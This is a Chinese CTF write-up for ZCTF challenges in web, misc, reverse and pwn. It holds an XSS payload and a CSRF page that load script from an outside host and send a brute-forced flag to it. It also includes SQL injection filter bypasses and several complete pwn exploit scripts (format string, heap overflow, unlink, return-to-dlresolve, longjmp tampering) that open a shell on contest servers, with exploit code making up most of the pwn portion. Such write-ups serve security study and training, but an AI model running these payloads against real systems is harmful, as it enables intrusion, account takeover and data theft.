作者：FlappyPig
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
Misc-Sign in
据说有12s麒麟臂。
Web-web100
网页设计得很简单，首页只返回了ha? 没有其他链接，猜到可能会有源码。尝试过后在.index.php.swp文件中得到php源码
限制flag参数的md5必须为一个固定的0e开头的md5，并在同时在字符串中包含zctf，然后会输出flag。写好代码爆破一番得到zctf00=a8。得到flag
Web-Find my eyes
一开始会觉得是一个博客站，逻辑比较复杂，后来发现其实只有contact.php 文件中有一个留言功能，结合网站部署有csp。猜测是xss漏洞。然后测试4个参数。只有textarea有过滤，其他地方感觉不能正常写入html。然后textarea的过滤相当严格。找了很多用来加载外部资源的html关键字都被过滤。然后大师傅发现是高版本的jquery库，可以利用sourceMappingURL加载外部资源。最后成功的payload是
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>在服务器的http request里面user-agent中发现flag
Web-easy apk
打开APK后发现有两个窗口，一个用于验证用户名密码，一个用于提交邮件，APK会将用户名密码等信息提交到远程服务器做验证，提交前会对用户的输入做一次简单的加密。
加密函数位于libnative-lib.so中的Change函数中，如下，主要是使用密钥对数据进行循环的异或加密。在加密前会将输入字符串逆序。加密后转化为十六进制。
在加密前，changekey函数会对密钥做简单的修改，大概的逻辑是对原字符串每隔2个取一个字符。因此，在java层传入的密钥“1234567890”经过变换后成为“1470”。
因此根据上面的分析，可以写出与原APK逻辑一致的Python脚本
import requests
def enc(data):
key = '1470' * 30
data = data[::-1]
result = []
for i in range(len(data)):
tmp = ord(key[i]) ^ ord(data[i])
result.append(tmp)
return ''.join(['%.2x' % i for i in result])
def step1(username, password):
reply = requests.post('http://58.213.63.30:10005/', data={'username': enc(username), 'password': enc(password)})
print reply.text
return reply.json()
def step2(username, password, mail, title, body):
# body=40454641&password=0305&title=404546&username=&mail=4645
reply = requests.post('http://58.213.63.30:10005/mail.php',
data={'username': enc(username),
'password': enc(password),
'mail': enc(mail),
'title': enc(title),
'body': enc(body)})
print reply.text
return reply.json()
if __name__ == '__main__':
username = '1'
password = '2'
mail = '3'
title = '4'
body = '5'
if step1(username, password)['result'] == 'OK':
step2(username, password, mail, title, body)队里的师傅反编译apk后查看逻辑，发现就是将数据内容与密钥1470循环亦或后正常的post提交。有两个页面，index.php用来登录 mail.php用来发邮件。首先发现参数有sql关键字的过滤，然后参数内容用‘or 1=1# 发现user返回了admin，但是result还是false，不能进行下一步发邮件的操作。然后思考能不能用union或者盲注把admin用户的password跑出来。但是（）被过滤，不能使用函数，时间盲注不了，然后password字段被过滤，布尔值注入也不能成功。然后发现用union%0aselect能成功绕过过滤，into被过滤，也不能成功写文件。然后可用的关键字还有order by。两者结合发现自己union注入出来的列和原本的admin列同时存在的时候order by 3。然后回显中出现了username的那一列相对字典序要小一点。和盲注差不多就能跑出来了。认证过程放入step1函数，注入代码如下
for i in string.printable:
username = "'or 1=1 unionxa0select 2,'233','%s' order by 3 #"%i
print username
if step1(username, password)['username'] == 'admin':
print last
break
last=i注入出来后md5解密。第二个接口是phpmailer漏洞，结合hint根目录不可写，在upload目录下写入php，得到flag
Web-onlymyself
大概浏览网站，有注册，登陆，修改个人资料，记录note，搜索note，提交bug这几个功能。
然后挨着测试是否有功能缺陷。admin是系统自带的，所以猜测flag在admin用户哪里。可以利用xss进入管理员账号。然后发现有交互的功能只存在于提交bug那里。然后发现漏洞链接那里存在xss漏洞。而且xss漏洞进去那个页面存在注入。后来才知道是设计不完善，于是重新思考，猜测会模拟管理员去点击提交的那一个链接，可以利用javascript伪协议或者csrf漏洞+selfxss。选择的后者，在更改个人资料的时候发现并没有验证csrftoken,所以写了一个利用csrf的html网页
<form id="ffrom" action="http://58.213.63.30:10003/checkProfile.php" method="POST" id="profile" enctype="multipart/form-data">
<input type="file" id="image" name="image" data-filename-placement="inside" style="left: -179.99px; top: 19.3333px;"></a>
<input name="nick" id="nick" value="<scriimgpt src=//xss.site/1.js>/*">
<input name="age" id="age" value ="2">
<input name="address" id="address" value="</scripimgt>">
<input class="btn btn-primary" id="submit" name="submit" type="submit" value="Submit"></div>
</form>
<script>submit.click()</script>只要让服务器的bot先访问csrf网页，在访问首页就可以了。这样能成功xss到管理员。但是cookie有httponly标记，所以不能直接用管理员账号登录。读取了note.php网页后发现里面并没有flag。然后就思考会不会是利用search.php枚举flag。然后写出js代码。
tab="_0123456789abcdefghijklmnopqrstuvwxyz}"
str=''
$.ajaxSettings.async=false
while(true){
for(i=0;i<tab.length;i++){
//console.log(tab[i]);
flag=false
x=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+''+tab[i]);
if(x.status==404) flag=true;
if(!flag) break;
}
str+=tab[i];
console.log(str);
if(tab[i]=='}') break;
}
location.href=’//xss.site’+str其中有一个小坑，flag中包含_，而search.php代码里sql查询用的like来判断,直接输入_会被理解为匹配任意单个字符。需要用转义。$.get默认是异步提交，用$.ajaxSettings.async=false设置成同步提交，服务器正常执行完成后能够得到flag
Misc-Russian Zip
伪加密，我们可以利用010 Editor编辑器的模板功能，能更好的修改加密位。
deFlags 都修改为0
修改保存后，就能成功解压了。
后面队友发现，这是minecraft，游戏文件，打开后，FLAG在游戏地图中。
Misc-whisper
PNG用stegsolve打开看到某通道里有三个人名，rsa的作者，此为hint1。
打开starhere.exe，看到如下：
44个字节，每个字节逐位判断，这里有两个方法，第一个方法比较暴力，直接爆破字节看进correct的次数，用angr什么的都可以。第二个就是自己分析了。主要是sub_401000函数。进去后发现：
一个rsa，和hint1的提示相符，e是65537，n是那串，随便就能分解，太小了，然后解4010b0里面的那44个数即可：
n=2344088051
p=46099
q=50849
e=65537
import primefac
d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
v=[1]*100
v[15] = 622838535
v[16] = 0x1E53E463
v[17] = 0x217153B7
v[18] = 0xED044EB
v[19] = 0x26EC91AF
v[20] = 0x4F8C7090
v[21] = 0x45E4F9BB
v[22] = 0x26EC91AF
v[23] = 0x6D04B642
v[24] = 0x26EC91AF
v[25] = 0xFF559EE
v[26] = 0x1E53E463
v[27] = 0x55C81190
v[28] = 0x55C81190
v[29] = 0x58006440
v[30] = 0x217153B7
v[31] = 0x26EC91AF
v[32] = 0x35F1D9B2
v[33] = 0x4D3D8957
v[34] = 0x35F1D9B2
v[35] = 0x26EC91AF
v[36] = 0x7172720E
v[37] = 0x1E53E463
v[38] = 0x6AC5D9F7
v[39] = 0x58006440
v[40] = 0x4710F19D
v[41] = 653037999
v[42] = 1476420672
v[43] = 561075127
v[44] = 2095854527
v[45] = -2030465449
v[46] = 1439175056
v[47] = 1476420672
v[48] = 1439175056
v[49] = 653037999
v[50] = 508814435
v[51] = 561075127
v[52] = 653037999
v[53] = 839707766
v[54] = 1829025346
v[55] = 1751579215
v[56] = 1476420672
v[57] = 695921644
v[58] = 872207435
for i in range(15,59):
print chr(pow(v[i],d,n)% 256) ,
此为hint2。
Hint1.png用winhex打开，后面一很大一串字符串
将数据拷贝出来，base64解密，将解密后的文件binwalk分离
可以直接从文件中找到rar的密码，解密得flag
Reverse-QExtend
这个程序有少量混淆，第一个是用call+pop指令使得ida没法正常反编译，第二个是修改了函数的返回地址。
在ida中进行修复到能正常f5.
分析功能，发现是个汉诺塔游戏。
初始状态:
需要达到的状态:
各操作码对应的操作：
手工完了下汉诺塔，得到的最短路径为053254104123104524104
操作码为input[i]%16-1，所以爆破了一下input，最终得到的flag为:
ZCTF{A&$#&5rA5r#$rA5rA5}
Reverse-EasyReverse
符号没去掉，encrypt_str函数，逆向完后发现是xtea算法，秘钥为：
print (chr(222)+chr(173)+chr(190)+chr(239)).encode("hex")
deadbeef处理一下xtea解密即可得到flag，16字节有些许问题，补齐，然后利用python的xtea解密即可：
from xtea import *
x = new(k, mode=MODE_ECB)
print x.decrypt(v5)
Reverse-CryptTab
1. 首先是一个压缩包，有密码，不过在文件的末尾得到了压缩密码，解压得到一个data文件。
2. 看起来像shellcode，就用ida打开分析。发现对0x17开始的0x2200字节进行了0xcc异或操作。异或之后分析发现后面有一个dll，将其提取出来，用ida打开，可以发现导出了一个Encrypt函数。
3. 从程序上看代码异或解密完之后直接跳转到sub_17函数。分析sub_17函数，发现是一个获取kernel32.dll的地址，然后就执行不下去了，坑。
从ida的调用图上猜这儿应该跳转到sub_131。
4. 分析sub_131，有发现需要参数ebx，但是ebx赋什么并不知道，坑。
后来分析到sub_44，该函数为获取库函数的地址，第一个参数为dll的地址，第二个参数为函数的hash值，第二个参数从[ebx+1]处取得。
因为shellcode一般需要获取LoadLibraryA函数地址，算了一下LoadLibraryA的hash值为0xec0e4e8e，然后在shellcode中搜索这个值，还真找到了。
string = 'LoadLibraryA'
def rol(a):
return ((a<<0x13) | (a>>(32-0x13)))&0xffffffff
c = 0
for i in range(len(string)):
c = rol(c) + ord(string[i])
print hex(c)
所以ebx的值应该为0x310。
向下分析，可以看到程序得到了LoadLibrayA、VirtualAlloc和VirtualFree3个函数的地址，然后又执行不下去了，坑。
5. 然后就对着函数猜了。
应该就是对0x156处的0x10个字节和0x166处的0x30字节作为输入，加密得到的值与0x19a处的0x30字节进行比较。
6. 后面就是分析Encrypt函数，各种交换移位，我这种算法渣只能想到爆破了。
注：以下代码格式有修改，请读者自行调整。
int main()
{
unsigned char str[0x100] = "xF3x23xB5xA6xF5x6AxCBx88xD2xC6xD2x2Fx32xB9xC3xAAx32x9ExADxEEx8Cx22x2Dx45x62x67xFBxD9x64x46xF8xE7xC8x20x35x86xE9x98xBFxD5x55xCAx8Bx85x67x76x19x9A";
printf("len=%dn", strlen((char*)str));
HMODULE handle = LoadLibraryA("DLL_Export.dll");
ENCRYPT ProcAddr;
ProcAddr = (ENCRYPT)GetProcAddress(handle, "Encrypt");
printf("%xn", ProcAddr);
unsigned char c1[]= "x21x23x25x26x2a";
unsigned char c3[]="x43x45x47x49x4b";
unsigned char c2[]="x35x36x37x38x39";
unsigned char input[17];
//for(int i0=0;i0<5;i0++)
int i0 =4;
printf("i0=%dn", i0);
{
for(int i1=0;i1<5;i1++)
{
printf("i1=%dn", i1);
for(int i2=0;i2<5;i2++)
{
for(int i3=0;i3<5;i3++)
{
printf("i3=%dn", i3);
for(int i4=0;i4<5;i4++)
{
for(int i5=0;i5<5;i5++)
{
for(int i6=0;i6<5;i6++)
{
for(int i7=0;i7<5;i7++)
{
for(int i8=0;i8<5;i8++)
{
for(int i9=0;i9<5;i9++)
{
for(int i10=0;i10<5;i10++)
{
for(int i11=0;i11<5;i11++)
{
for(int i12=0;i12<5;i12++)
{
for(int i13=0;i13<5;i13++)
{
for(int i14=0;i14<5;i14++)
{
input[0] = c1[i0];
input[1] = c2[i1];
input[2] = c3[i2];
input[3] = c1[i3];
input[4] = c2[i4];
input[5] = c3[i5];
input[6] = c1[i6];
input[7] = c2[i7];
input[8] = c3[i8];
input[9] = c1[i9];
input[10] = c2[i10];
input[11] = c3[i11];
input[12] = c1[i12];
input[13] = c2[i13];
input[14] = c3[i14];
input[15] ='x24';
input[16]='x00';
unsigned char data[0x100] = "x38x9Bx50xCEx86xDDxF0x1Dx0DxC3xD6xE2xF2x29xD3x83x6CxE8x86x5Fx95xE6x4Fx63x5Fx3Bx9Bx5Fx53xBCx41x2Ax49x08x02xAAx10xECx2Cx58xD5x27xCDx93x38x10xE4xDC";
unsigned char * output;
__asm
{
push esi
lea esi, input
push esi
lea esi, data;
call ProcAddr
mov output, eax
pop eax
pop esi
}
if(!memcmp(output, str, 0x30))
{
printf("%sn", input);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}等到爆出来的时候，比赛已经结束了。爆出来为:
%6K#7E&5C*9G!8I$
当然这还不是最终结果，还要用这个作为密钥，去AES解密加密表，才能得到flag。。。
Pwn-login
sprintf里面的格式化字符串的内容可以被自身的格式化给覆盖掉，把%s:%s覆盖掉，覆盖成%hhn，然后格式化来改写check_stack_fail的最后一字节，拿shell的时候 ，不能用system拿，不能用system拿，环境变量被栈覆盖掉了：
from zio import *
target = ("58.213.63.30",4002)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def gen_rop_data(func_addr, args, pie_text_base = 0):
p_ret = [0x0804844e, 0x08048465, 0x0804891a, 0x08048919, 0x08048918]
rop_data = ''
rop_data += l32(func_addr)
if len(args) > 0:
rop_data += l32(p_ret[len(args)] + pie_text_base)
for arg in args:
rop_data += l32(arg)
return rop_data
def pwn(io):
puts_got = 0x0804a01c
offset_puts = 0x656a0
puts_plt = 0x080484c0
read_plt = 0x08048480
read_buff_addr = 0x0804862B
check_stack_fail_got = 0x804A014
bss_addr = 0x0804a000 + 0xe20
leave_ret = 0x08048715
pop_ebp_ret = 0x0804871f #: pop ebp ; ret
username = ""
#username += 'bbbb'
username += l32(check_stack_fail_got)
username += "a"*0x4C
#username += "bbbb"
username += gen_rop_data(puts_plt, [puts_got])
username += gen_rop_data(read_buff_addr, [bss_addr, 0x01010101])
username += l32(pop_ebp_ret) + l32(bss_addr)
username += l32(leave_ret)
#username += gen_rop_data(puts_plt, [puts_got+4])
print hex(len(username)), hex(0xd6 - 0x5c - 4)
#username = username.ljust(0xd6 - 0x5c - 4, 'a')
#username += "%s:%s.%p.%p.%p.%p.%p"# + "%p."*4
#username += "%x.".ljust(8, '-')*10
#username += "aa:"
username = username.ljust(0xc0, 'a')
username += 'a'*(0x66-0x43)
username += "%9$hhn.".ljust(10, '-')
#username += "%9$p.".ljust(10, '-')
username = username.ljust(0x100-1, 'a')
password = ""
password += 'w' * 0x40
io.read_until(":")
io.writeline(username)
io.read_until(":")
#io.gdb_hint()
io.writeline(password)
io.read_until("")
io.read_until("Login successful!n")
io.read_until("n")
data = io.read_until("n")
print data
puts_addr = l32(data[:4])
offset_system = 0x3e800
offset_execve = 0xB59F0
#"""
#remote
offset_system = 0x3fe70
offset_puts = 0x64da0
offset_execve = 0xB4EA0
#"""
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
execve_addr = libc_base + offset_execve
payload = ""
payload += l32(0x0)
payload += gen_rop_data(execve_addr, [bss_addr+0x100, 0, 0])
payload = payload.ljust(0x100, 'a')
payload += "/bin/shx00"
payload += l8(0x1f)
io.gdb_hint()
io.writeline(payload)
io.interact()
io = get_io(target)
pwn(io)Pwn-Dragon
存在堆溢出，可以修改堆结构中的size.
脚本如下：
from pwn import *
#r = remote('58.213.63.30', 11501)
r = process("./dragon")
def add(size, name, content):
r.recvuntil('>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(content)
def edit(id, content):
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(id))
r.recvuntil(':')
r.write(content)
def show(id):
r.recvuntil('>>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(id))
def delete(id):
r.recvuntil('>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(id))
add(0x20, 'AAAA', 'AAAA')
add(0x20, 'AAAA', 'A'*0x18)
add(0x20, 'AAAA', 'A'*0x18)
edit(0, 'A'*0x18+p64(0xd1)) # note1
delete(1)
add(0x20, 'AAAA', 'A'*0x18)
strlen_got = 0x602028
add(0x10, 'AAAA', p64(strlen_got)+'d'*0x10)
edit(3, p64(strlen_got)) #note2
show(2)
r.recvuntil('content: ')
strlen_addr = u64(r.readline()[:-1].ljust(8, 'x00'))
print "[*] strlen addr:{0}".format(hex(strlen_addr))
libc = ELF("./libc-2.19.so")#ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = strlen_addr - libc.symbols['strlen']
system_addr = libc_base + libc.symbols['system']
edit(2, p64(system_addr))
edit(0, '/bin/shx00')
r.interactive()Pwn-Class
在init函数中num*200+8存在整形溢出，num控制得当可以使得分配的空间很小。Setjmp会将当前的寄存器保存到堆上（部分寄存器进行了rol和异或加密）。通过show功能可以泄露出保存的寄存器值，通过edit功能可以修改这些值，然后通过longjmp改变程序的控制流程，因为rsp和rip都能被随意修改，所以比较容易进行rop。
脚本：
from threading import Thread
from zio import *
target = './class'
target = ('58.213.63.30', 4001)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def rerol(d):
return ((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffff
def rol(d):
return ((d<<0x11) + (d>>(64-0x11)))&0xffffffffffffffff
def show(io, id):
io.read_until('>>')
io.writeline('2')
io.read_until(':')
io.writeline(str(id))
io.read_until('name:')
r12 = l64(io.read_until(',')[:-1].ljust(8, 'x00'))
print 'r12', hex(r12)
io.read_until('addr:')
enc_rsp = l64(io.read(8))
enc_rip = l64(io.read_until(',')[:-1].ljust(8, 'x00'))
base = r12 - 0xaa0
print 'enc_rsp', hex(enc_rsp)
print 'enc_rip', hex(enc_rip)
real_rip = base + 0x1495
cookie = rerol(enc_rip)^real_rip
print 'cookie', hex(cookie)
real_rsp = rerol(enc_rsp)^cookie
print 'real_rsp', hex(real_rsp)
return (base, real_rsp, cookie)
def edit(io, id, age, name, addr, introduce):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(str(age))
io.read_until(':')
io.writeline(addr)
io.read_until(':')
io.writeline(introduce)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.read_until(':')
io.writeline(str(92233720368547759))
base, rsp, cookie = show(io, 1)
print 'base', hex(base)
fake_rsp = rsp - 0x48
pop_rdi_ret = base + 0x000000000001523
addr = l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))
print HEX(addr)
edit(io, 1, 0, "", addr, "")
io.read_until('>>')
payload = '5;'+'a'*6
puts_got = 0x0000000000202018+ base
puts_plt = 0x9a0 + base
main = base + 0x00000000000013ff
payload += l64(puts_got)+l64(puts_plt)+l64(main)
io.writeline(payload)
puts_addr = l64(io.readline()[:-1].ljust(8, 'x00'))
'''
base = puts_addr - 0x000000000006F5D0
system = base + 0x0000000000045380
print 'system', hex(system)
binsh = base + 0x000000000018C58B
'''
base = puts_addr - 0x000000000006FD60
print 'base', hex(base)
system = base + 0x0000000000046590
binsh = base + 0x000000000017C8C3
#io.gdb_hint()
io.read_until(':')
io.writeline(str(92233720368547759))
fake_rsp = rsp - 0x80
addr = l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))
print HEX(addr)
io.gdb_hint()
edit(io, 1, 0, "", addr, "")
io.read_until('>>')
payload = '5;'+'a'*6
payload += l64(binsh)+l64(system)+l64(main)
io.writeline(payload)
#io.gdb_hint()
interact(io)
exp(target)Pwn-sandbox
沙箱做了如下限制：对外的调用都通过jmp ds:dl_resolve出去，所以采用return-to-dlresolve进行利用。
脚本：
#encoding:utf-8
import struct
from threading import Thread
from zio import *
target = './sandbox ./vul'
#target = './vul'
target = ('58.213.63.30', 4004)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def write_16byte(io, addr, value):
io.write('a'*0x10+l64(addr+0x10)+l64(0x400582))
io.write(value+l64(0x601f00)+l64(0x400582))
fake_relro = ''
fake_sym = ''
#link_map_addr = 0x00007ffff7ffe1c8 #close aslr.(if has aslr, need leak)
#link_map_addr = 0x7ffff7ffe168
def generate_fake_relro(r_offset, r_sym):
return l64(r_offset) + l32(7)+l32(r_sym)+ l64(0)
def generate_fake_sym(st_name):
return l32(st_name)+l8(0x12)+l8(0) + l16(0) + l64(0) + l64(0)
#versym = 0x40031e
symtab = 0x4002b8
strtab = 0x400330
jmprel = 0x4003b8
bss_addr = 0x601058
# .bss addr = 0x601058
# 0x155dc*0x18+0x4003b8 = 0x601058
# so index = 0x155dc
#0x155e8*0x18+0x4002b8 = 0x601078
# so r_sym = 0x155e8
# 0x200d68 + 0x400330 = 0x601098
# so st_name = 0x200d68
def write_any(io, addr, value):
print hex(addr), hex(value)
io.read_until(':n')
io.writeline('0')
io.write(l64(addr)+l64(value))
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
pop_rdi_ret = 0x0000000000400603
pop_rsi_r15_ret = 0x0000000000400601
leak_addr = 0x600ef0
write_plt = 0x0000000000400430
pop_rbp_ret = 0x4004d0
leak_rop = l64(pop_rsi_r15_ret) + l64(leak_addr) + l64(0) + l64(pop_rdi_ret) + l64(1) + l64(write_plt)
leak_rop += l64(pop_rbp_ret) + l64(0x601f00) + l64(0x400582)
for i in range(0, len(leak_rop), 8):
write_16byte(io, 0x601b00+i, leak_rop[i:i+8]+'x00'*8)
leave_ret = 0x40059d
leak_stack_povit = 'a' * 0x10 + l64(0x601b00 - 0x8) + l64(leave_ret)
io.write(leak_stack_povit)
io.read_until(':')
link_map_addr = l64(io.read(8)) + 0x28
print hex(link_map_addr)
r_offset = 0x601970 # a writable addr
r_sym = 0x155e8
fake_relro = generate_fake_relro(r_offset, r_sym).ljust(0x20, 'x00')
st_name = 0x200d68
fake_sym = generate_fake_sym(st_name).ljust(0x20, 'x00')
write_16byte(io, link_map_addr+0x1c8, 'x00'*0x10)
#write_16byte(io, 0x600858, l64(0x6ffffff0)+l64(0x3d57d6))
for i in range(0, len(fake_relro), 8):
write_16byte(io, 0x601058+i, fake_relro[i:i+8]+'x00'*8)
for i in range(0, len(fake_sym), 8):
write_16byte(io, 0x601078+i, fake_sym[i:i+8]+'x00'*8)
write_16byte(io, 0x601098, 'system'.ljust(16, 'x00'))
write_16byte(io, 0x601a50, '/bin/sh'.ljust(16, 'x00'))
plt0 = 0x400420
rop = l64(pop_rdi_ret) + l64(0x601a50)
index = 0x155dc
rop += l64(plt0) + l64(index)
for i in range(0, len(rop), 8):
write_16byte(io, 0x601980+i, rop[i:i+8]+'x00'*8)
stack_povit = 'a'*0x10 + l64(0x601980-0x8) + l64(leave_ret)
io.write(stack_povit)
interact(io)
exp(target)Pwn-note
漏洞存在于edit中，有堆溢出。
此题采用talloc，不过talloc_free内部会调用free函数，所以采用unlink方法进行利用。
脚本：
from threading import Thread
from zio import *
target = ('119.254.101.197', 10000)
target = './note'
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def add(io, title, size, content):
io.read_until('>>')
io.writeline('1')
io.read_until(':')
io.writeline(title)
io.read_until(':')
io.writeline(str(size))
io.read_until(':')
io.writeline(content)
def edit(io, id, offset, content):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset))
io.read_until(":")
io.writeline(content)
def edit2(io, id, offset, content):
count = len(content)/48
print len(content)
print count
for i in range(count):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset+48*i))
io.read_until(":")
io.write(content[i*48:i*48+48])
if len(content[count*48:]) > 0:
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset+48*count))
io.read_until(':')
io.writeline(content[count*48:])
def delete(io, id):
io.read_until('>>')
io.writeline('4')
io.read_until(':')
io.writeline(str(id))
def change(io, id, title):
io.read_until('>>')
io.writeline('5')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(title)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add(io, '%13$p', 0x100, '111') #0x603070 0x603110 #0
add(io, '222', 0x100, '222') #0x603280 0x603320 #1
add(io, '333', 0x100, '333') #0x603490 0x603530 #2
add(io, '444', 0x100, '444') #0x6036a0 0x603740 #3
add(io, 'sh;', 0x100, '555') #0x6038b0 0x603950 #4
add(io, '666', 0x100, '666') #0x603ac0 0x603b60 #5
delete(io, 1)
delete(io, 2)
heap_ptr = 0x6020f0
payload = l64(0) + l64(0x211) +l64(heap_ptr-0x18)+l64(heap_ptr-0x10)
payload = payload[:-1]
add(io, payload[:-1], 0x300, '777') #0x603280 0x603320 #6
add(io, 'sh;', 0x100, '888')
#io.gdb_hint()
offset = 0x603490 - 0x603320
# size next prev parent
fake_head1 = l64(0x210)+l64(0x90)+ l64(0) +l64(0)+ l64(0x603a60)
# child refs descutor name size flags pool padding
fake_head2 = l64(0)+l64(0)+l64(0)+l64(0x400dc4)+l64(0x100)+l64(0x00000000e8150c70)+l64(0)+l64(0)+l64(0)
fake_head2 = fake_head2.ljust(0x90-0x28, 'x00')
fake_head2 += l64(0) + l64(0x21) + 'x00'*0x10 + l64(0) + l64(0x21)
fake_head1 = fake_head1[:-6]
payload = 'x00' + l64(0)+l64(0xa1)+l64(0)+l64(0)+l64(0)+l64(0x6034a0)
payload = payload[:-6]
edit(io, 4, 0x100-1, payload)
edit2(io, 6, offset, fake_head1)
edit2(io, 6, offset+0x28, fake_head2)
delete(io, 5)
talloc_free_got = 0x602048
print_plt = 0x4007E0
title = l64(talloc_free_got) + l64(0) + l64(0) + l64(0x6020d0)
title = title[:-2]
change(io, 6, title)
change(io, 3, l64(print_plt)[:-1])
io.gdb_hint()
delete(io, 0)
io.read_until('0x')
main_ret = int(io.read_until('De')[:-2], 16)
base = main_ret - 0x0000000000021EC5
print hex(base)
system = base + 0x0000000000046640
print hex(system)
change(io, 3, l64(system)[:-1])
delete(io, 7)
interact(io)
exp(target)Pwn-Goodluck
条件竞争漏洞，g_index的值可以在主线程中修改，然后在第2个子线程中能实现任意地址+1操作。
read_int如果参数为0，可以栈溢出。
脚本：
from threading import Thread
# from uploadflag import *
from zio import *
target = ('119.254.101.197', 10000)
target = './pwn2'
def add1(io,type,name,number,some):
io.read_until("choice:")
io.writeline('1')
io.read_until("flower")
io.writeline(str(type))
io.read_until('name:')
io.writeline(name)
io.read_until('number:')
io.writeline(str(number))
io.read_until('again:')
io.writeline(some)
def add2(io, type, name, much, price, some):
io.read_until("choice:")
io.writeline('1')
io.read_until("flower")
io.writeline(str(type))
io.read_until('name:')
io.writeline(name)
io.read_until('want:')
io.writeline(much)
io.read_until('table:')
io.writeline(price)
io.read_until('something:')
io.writeline(some)
def show(io,index):
io.writeline('4')
io.read_until('show')
io.writeline(str(index))
def delete(io,index):
io.writeline('2')
io.read_until(cs7)
io.writeline(str(index))
def edit(io,index,data):
io.writeline('3')
io.read_until('edit:')
io.writeline(str(index))
io.read_until('something')
io.writeline(data)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add1(io, 3, 'bbbb', 100, 'ccccccccc')
fake_index = (0x2031a0 - 0x203180)/8
delete(io, 0)
delete(io, fake_index)
io.read_until('delete 0')
show(io, 0)
io.read_until('s1->')
data = io.read_until(' ')[:-1]
code_base = l64(data.ljust(8, 'x00')) - 0x1040
print hex(code_base)
canary_addr = code_base + 0x2031c0 + 1
add2(io, 2, 'aaaa', str(canary_addr&0xffffffff), str(canary_addr>>32), 'bbbbbbbb')
delete(io, 1)
delete(io, fake_index + 1)
io.read_until('delete 1')
show(io, 1)
io.read_until("fake show!n")
cookies = l64(io.read_until('n')[:-1].ljust(8, 'x00')) << 8
print 'cookie', hex(cookies)
add1(io, 0, 'cccc',100, '0517')
io.gdb_hint()
show(io, 2)
io.read_until('againn')
puts_plt = code_base + 0x0000000000000BC0
puts_got = code_base + 0x0000000000202F20
pop_rdi_ret = code_base + 0x0000000000001653
read_int = code_base + 0x0000000000000F80
payload = 'a'*0x18 + l64(cookies) + 'aaaaaaaa'*5 + l64(pop_rdi_ret) + l64(puts_got) + l64(puts_plt) + l64(pop_rdi_ret)+l64(0) + l64(read_int)
io.writeline(payload)
puts = l64(io.readline()[:-1].ljust(8, 'x00'))
libc_base = puts - 0x000000000006F5D0
print hex(libc_base)
system = libc_base + 0x0000000000045380
binsh = libc_base + 0x000000000018C58B
payload = 'a'*0x18 + l64(cookies) + 'aaaaaaaa'*5 + l64(pop_rdi_ret) + l64(binsh) + l64(system)
io.writeline(payload)
io.gdb_hint()
interact(io)
exp(target)
还没有评论，来说两句吧...